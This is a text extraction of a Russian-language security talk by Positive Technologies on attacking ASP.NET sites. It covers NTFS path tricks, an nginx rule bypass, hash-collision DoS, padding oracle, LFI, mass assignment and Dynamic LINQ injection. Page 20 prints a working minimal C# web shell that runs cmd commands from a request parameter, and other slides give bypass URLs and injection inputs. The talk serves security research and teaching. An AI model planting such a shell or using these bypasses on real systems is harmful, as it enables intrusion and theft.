29
ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET? СЛОЖНО, НО МОЖНО! Positive Technologies

Взломать Web-сайт на ASP.NET? Сложно, но можно!

Embed Size (px)

Citation preview

Page 1: Взломать Web-сайт на ASP.NET? Сложно, но можно!

ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?

СЛОЖНО, НО МОЖНО!

Positive Technologies

Page 2: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Хорошо забытое старое: файловая система

Устройства DOS и зарезервированные имена:

NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути

Зарезервированные символы:

< > : " \ / | ? *

Регистронезависимость имен:

Filename == FileName == filename == FILENAME

Поддержка коротких имен «8.3»:

LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT

Завершающие символы:

Filename == Filename... == Filename\\\

Page 3: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Хорошо забытое старое: файловая система

Именованные каналы и почтовые слоты (CreateFile):

\\Host\pipe\<name> , \\Host\mailslot\<name>

Альтернативный синтаксис относительных путей:

C:\Windows\notepad.exe == C:notepad.exe , если \Windows – текущий каталог диска C:

Подстановки (FindFirstFile):

< == * , > == ? , " == .

UNC и Unicode пути:

C:\Windows\System32

\\Host\C$\Windows\System32

\\.\C:\Windows\System32

\\?\C:\Windows\System32

\\?\UNC\Host\C$\Windows\System32

Page 4: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Хорошо забытое старое: файловая система

Метатрибуты и альтернативные потоки данных NTFS:

\Directory:<Name>:<Type>\File:<Name>:<Type>

C:\Windows\hh.exe == C:\Windows:$I30:$INDEX_ALLOCATION\hh.exe

C:\Windows\notepad.exe == C:\Windows\notepad.exe::$DATA

FileName.aspx == FileName.aspx:.jpg

Метатрибуты файлов Метатрибуты индексов

$STANDARD_INFORMATION $INDEX_ROOT

$FILE_NAME $INDEX_ALLOCATION

$DATA $BITMAP

$ATTRIBUTE_LIST

$OBJECT_ID

$REPARSE_POINT

Page 5: Взломать Web-сайт на ASP.NET? Сложно, но можно!

[PT-2012-06] Обход ограничений Nginx

Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N)

Подверженные версии: Nginx for Windows <= v1.3 Вектор: Удаленный

Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера. Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д.

:$I30:$INDEX_ALLOCATION

обрабатывались, как часть имени каталога.

Page 6: Взломать Web-сайт на ASP.NET? Сложно, но можно!

[PT-2012-06] Обход ограничений Nginx

http://hostname/.svn/entries

http://hostname/.svn::$INDEX_ALLOCATION/entries

HTTP/1.1 200 OKServer: nginx/1.2.0

HTTP/1.1 403 ForbiddenServer: nginx/1.2.0

* стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23

…location ~/.svn/ { deny all;}…

Page 7: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Архитектура платформы .NET

Page 8: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Повреждения памяти

Взаимодействие с native-библиотеками, использование смешанных сборок

MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора

класса System.Drawing.Imaging.EncoderParameter.

Небезопасный управляемый код

unsafe void bufferOverflow(string s){ char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c }}

Page 9: Взломать Web-сайт на ASP.NET? Сложно, но можно!

«Turkish I» и не только

Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям:

Английские культуры: I & iТурецкие культуры: I & ı + İ & i<%@ Page Language="C#" Culture="Auto" %><%@ Import Namespace="System.Globalization" %><! DOCTYPE html>…<script runat="server">…if (Session["mode"].ToLower() != "admin")…if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true)…

Page 10: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Коллизии хэшей объектов

System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647).

(http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)

Page 11: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Коллизии хэшей в ASP.NET (MS11-100)

Штатная ситуация: Не очень штатная ситуация:

3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&FX4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAY

U5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25E

WGNN5NE

… over 4Mb form data …(https://github.com/HybrisDisaster/aspHashDoS)

Page 12: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Хитрый план (post-mortem MS11-100)

1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа»

2. Отправляем каждый из наборов в качестве параметров POST-запроса

3. Замеряем время ответа на каждый запрос

4. ???

5. ;)

Page 13: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Web-стек .NET

Page 14: Взломать Web-сайт на ASP.NET? Сложно, но можно!

ASP.NET / MVC

Page 15: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Специфика ASP.NET

Специальные каталоги и файлы:- App_Browser – определения браузеров

(*.browsers);- App_Code – исходный код вспомогательных классов

и логики;- App_Data – хранилища данных;- App_GlobalResources, App_LocalResources – ресурсы

приложения (*.resx, *.resources);- App_Themes – темы (*.skin, *.css, images, etc);- App_WebReferences – ссылки на web-сервисы

(*.wsdl, *.xsd, *.disco, *.discomap);- Bin – скомпилированные сборки, используемые приложением;- web.config, web.*.config – конфигурационные файлы, определяющие

настройки web-сервера и приложения.

Page 16: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Специфика ASP.NET

Стандартные HTTP-обработчики:- WebResource.axd – доступ к статическим ресурсам, внедренным в сборки

приложения.- ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся

на диске.Использование:

http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>Пример:

http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1Где d, зашифрованный параметр:

Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c38a3a9b

Page 17: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Padding oracle (MS10-070)

Последствия:

– получение ключей, необходимых для шифрования/дешифрования: аутентификационных cookies; ViewState и Event Validation; аргументов для WebRecource.axd и ScriptResource.axd =>

чтение произвольных файлов внутри каталога приложения

Исправления: при ошибке паддинга возвращается обощенная ошибка; используется случайное число в качестве IV; изменен формат шифруемых строк для их валидации; ScriptResource.axd может обрабатывать только *.js файлы.

Page 18: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Специфика ASP.NET

Стандартные HTTP-обработчики:- Trace.axd – трассировка запросов (доступна только в режиме отладки)

Page 19: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Особенности эксплуатации LFI

Response.WriteFile(<vfilename>)- позволяет включать любой файл внутри каталога приложения, кроме *.config;- файл включается статически, выполнения кода не происходит;- принимает в качестве аргумента виртуальное имя файла.Server.Execute(<vfilename>)- позволяет включать любой файл внутри каталога приложения, кроме *.config;- выполняет обработчик для переданного файла, результат включает в ответ;- принимает в качестве аргумента виртуальное имя файла.File.ReadAllText(<filename>)- позволяет включать любой файл, на который есть права;- файл включается статически, выполнения кода не происходит;- принимает в качестве аргумента реальное имя файла.

Page 20: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Минимальный C#-шелл

<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%=Process.Start(    new ProcessStartInfo(        "cmd","/c " + Request["c"]    )    {        UseShellExecute = false,        RedirectStandardOutput = true    }).StandardOutput.ReadToEnd()%>

Page 21: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Состояние представления (ViewState)

Предназначено для передачи на сервер информации об элементах представления.- передается в параметре

__VIEWSTATE;- шифрование и целостность часто

не обеспечиваются;- используется разработчиками,

для хранения данных сессии на клиенте, хотя не предназначено для этого;

- нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.

Page 22: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Подтверждение запросов и событий

Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие:

&# < с последующей буквой, !, / и ?

А также, игнорируются сторонние параметры, начинающиеся с __

Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п.

Вопреки бытующему мнению,

неэффективен против CSRF-атак,при стандартной реализации.

Page 23: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Mass assignment

public class User {    public int Id { get; set; }    public string UserName { get; set; }    public string Password { get; set; }    public bool IsAdmin { get; set; }}

public class UserController : Controller{    IUserRepository _userRepository;    public UserController(IUserRepository userRepository) {        _userRepository = userRepository;    }

    public ActionResult Edit(int id) {        var user = _userRepository.GetUserById(id);        return View(user);    }

    [HttpPost]    public ActionResult Edit(int id, FormCollection collection) {        try {            var user = _userRepository.GetUserById(id);            UpdateModel(user);            _userRepository.SaveUser(user);            return RedirectToAction("Index");        } catch {            return View();        }    }}

Model: Controller:

Page 24: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Mass assignment

(http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)

Page 25: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Внедрение выражений LINQ

LINQ – язык запросов, встроенный в синтаксис .NET-языков.

var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 };

var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);

Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN);

Page 26: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Внедрение выражений LINQ

Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения.Возможности:- определение выражений строками;- основные примитивные операции;- доступ к членам статических и экземплярных

типов данных;- создание экземпляров типов и анонимных

типов;

Что, если "modifier" формируется из входных данных и содержит:

0 OR 1 == 1 ?

var modifier = "0";

var result = itemsList .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);

Page 27: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Внедрение выражений LINQ

Ограничения инъекций в Dynamic LINQ:- доступ к полям, свойствам и методам возможен только для типа

коллекции или для достижимых типов, определяемых «белым списком»;- все части выражения должны выполняться без ошибок, в сообщениях об

ошибках отсутствует полезный вывод;- инъекции подвержены изолированные части запроса;Возможности инъекций в Dynamic LINQ:- обход аутентификации / авторизации;- неавторизованный доступ к данным коллекции;- нарушение функционала (при наличии у объектов коллекции statefull-

полей);- реализация угрозы отказа в обслуживании (DoS).

В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)

Page 28: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Внедрение выражений LINQ

Демо

Page 29: Взломать Web-сайт на ASP.NET? Сложно, но можно!

Спасибо за внимание!

Вопросы?